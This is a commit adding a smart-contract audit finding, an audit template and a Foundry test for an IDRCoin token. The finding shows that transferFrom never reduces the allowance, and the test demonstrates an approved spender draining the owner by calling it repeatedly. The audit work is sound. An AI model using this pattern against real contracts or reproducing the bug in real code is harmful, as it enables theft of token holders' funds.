add finding H-1 related to multiple transferFrom

audit/h1-IDRCoin-approve-can-be-used-multiple-times-with-transferFrom.md

@@ -0,0 +1,56 @@
+# [H-1] IDRCoin approve function can be used to call transferFrom multiple times
+
+## Finding description and impact
+
+IDRCoin enables a user to let someone to use a certain amount of their token through `approve` function. It will set the `allowances[msg.sender][_spender] = _amount;` which `_spender` is the other user, and `_amount` is the limit amount of token the other user can use.
+
+Once `approve` is called, the other user can use the amount of token through `transferFrom` function. Other user can call `transferFrom` to send the `approved` amount of token from the prior user to anyone. But the problem is, once `approve` is called, the other user can call `transferFrom` multiple times and draining the prior user wallet.
+
+## Proof of Concept
+
+The code [https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158](https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158)
+
+`transferFrom` function doesn't update the `allowances`. Once `approve` function is called, the trusted spender can drain money through calling `transferFrom` multiple times.
+
+```solidity
+  function test_failIf_transferFromIDRCoinMoreThanOnce() public {
+    // create charlie address as the receiver
+    address charlie = makeAddr("charlie");
+
+    // alice convert 100 dollar worth of usdt
+    convertUSDTtoIDR(alice, 100e6);
+    vm.startPrank(alice);
+    uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4;
+
+    // alice approve bob to transfer her IDRCoin
+    idrCoin.approve(bob, spendingAllowance);
+    vm.stopPrank();
+
+    // bob transfer the IDRCoin from alice to charlie
+    vm.startPrank(bob);
+    idrCoin.transferFrom(alice, charlie, spendingAllowance);
+    vm.stopPrank();
+
+    // assert that now alice has his balance reduced to the amount of spendingAllowance
+    assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3);
+    // assert that bob still has 0 because bob called `transferFrom` but doesn't send to himself
+    assertEq(idrCoin.balanceOf(bob), 0);
+    // assert that charlie as the receiver received the amount of spendingAllowance
+    assertEq(idrCoin.balanceOf(charlie), spendingAllowance);
+
+    // bob try to transfer the IDRCoin again from alice to charlie
+    vm.startPrank(bob);
+    idrCoin.transferFrom(alice, charlie, spendingAllowance);
+    vm.stopPrank();
+
+    // assert now alice has its balance reduced twice by spendingAllowance
+    assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2);
+    assertEq(idrCoin.balanceOf(bob), 0);
+    // assert now charlie has its balance increased twice by spendingAllowance
+    assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2);
+}
+```
+
+## Recommended mitigation steps
+
+Mutate the `allowance` storage variable after the ERC20 transfer succeded in `transferFrom`

audit/template.md

@@ -0,0 +1,19 @@
+# [Severity] Tittle
+
+## Finding description and impact
+
+Write a detailed description of the root cause and impact(s) of this finding.
+
+## Proof of Concept
+
+Explain and rationalize the potential impact. Provide:
+- direct links to all referenced code in GitHub
+- screenshots, logs, or any other relevant proof that illustrates the concept
+- any additional research or code needed to validate the claims made in your submission
+
+A coded proof of concept is recommended for high severity findings.
+
+## Recommended mitigation steps
+
+Describe the best method(s) to mitigate the finding.
+

test/Base.audit.transfer.t.sol

@@ -0,0 +1,108 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity 0.8.28;
+
+import "forge-std/Test.sol";
+import {IDRCoin} from "../src/IDRCoin.sol";
+import {BankHub} from "../src/BankHub.sol";
+import {USDTMock} from "./ERC20Mock.sol";
+
+contract Base is Test {
+    IDRCoin public idrCoin;
+    BankHub public bankHub;
+    USDTMock public usdtMock;
+
+    address admin = makeAddr("admin");
+    address taxCollector = makeAddr("taxCollector");
+    address bankABC = makeAddr("bankABC");
+    address bankIRB = makeAddr("bankIRB");
+
+    address alice = makeAddr("alice");
+    address bob = makeAddr("bob");
+
+    function setUp() public {
+        vm.startPrank(admin);
+        // deploy the contract
+        idrCoin = new IDRCoin(admin, taxCollector);
+        bankHub = new BankHub(admin);
+        usdtMock = new USDTMock();
+
+        // set the bankHub address in idrCoin
+        idrCoin.setBankHub(address(bankHub));
+
+        // set usdtMock address in idrCoin
+        idrCoin.setUSDT(address(usdtMock));
+
+        // set the idrCoin address in bankHub
+        bankHub.setIDRCoin(address(idrCoin));
+
+        // set bank ABC and bank IRB as whiteListed
+        bankHub.whiteList(bankABC);
+        bankHub.whiteList(bankIRB);
+
+        // mint some USDT to alice and bob
+        usdtMock.mint(alice, 1000e6);
+        // usdtMock.mint(bob, 1000e6);
+
+        vm.stopPrank();
+    }
+
+    // helper function for converting USDT to IDRCoin
+    function convertUSDTtoIDR(address user, uint256 amountInUSDT) public {
+        vm.startPrank(user);
+        if (usdtMock.balanceOf(user) < amountInUSDT) {
+            usdtMock.mint(user, amountInUSDT);
+        }
+        usdtMock.approve(address(idrCoin), amountInUSDT);
+        idrCoin.convertUSDtoIDR(amountInUSDT);
+        console.log("user balance: ", idrCoin.balanceOf(user));
+
+        // check the balance is reduced by tax
+        uint256 conversionRate = idrCoin.CONVERSION_RATE();
+        uint256 tax = idrCoin.TAX();
+        uint256 denominator = idrCoin.DENOMINATOR();
+        uint256 idrCoinDecimals = idrCoin.decimals();
+        uint256 usdtDecimals = usdtMock.decimals();
+        uint256 idrAmount = ((amountInUSDT * conversionRate) /
+            10 ** usdtDecimals) * 10 ** idrCoinDecimals;
+        uint256 taxAmount = (idrAmount * tax) / denominator;
+        uint256 balance = idrCoin.balanceOf(user);
+        assertEq(balance, idrAmount - taxAmount);
+
+        vm.stopPrank();
+    }
+
+    function test_failIf_transferFromIDRCoinMoreThanOnce() public {
+        // create charlie address
+        address charlie = makeAddr("charlie");
+
+        // alice convert 100 dollar worth of usdt
+        convertUSDTtoIDR(alice, 100e6);
+        vm.startPrank(alice);
+        uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4;
+
+        // alice approve bob to transfer her IDRCoin
+        idrCoin.approve(bob, spendingAllowance);
+        vm.stopPrank();
+
+        // bob transfer the IDRCoin from alice to charlie
+        vm.startPrank(bob);
+        idrCoin.transferFrom(alice, charlie, spendingAllowance);
+        vm.stopPrank();
+
+        // assert
+        assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3);
+        assertEq(idrCoin.balanceOf(bob), 0);
+        assertEq(idrCoin.balanceOf(charlie), spendingAllowance);
+
+	// bob try to transfer the IDRCoin again from alice to bob
+	vm.startPrank(bob);
+        idrCoin.transferFrom(alice, charlie, spendingAllowance);
+        vm.stopPrank();
+
+	// assert
+        assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2);
+        assertEq(idrCoin.balanceOf(bob), 0);
+        assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2);
+    }
+}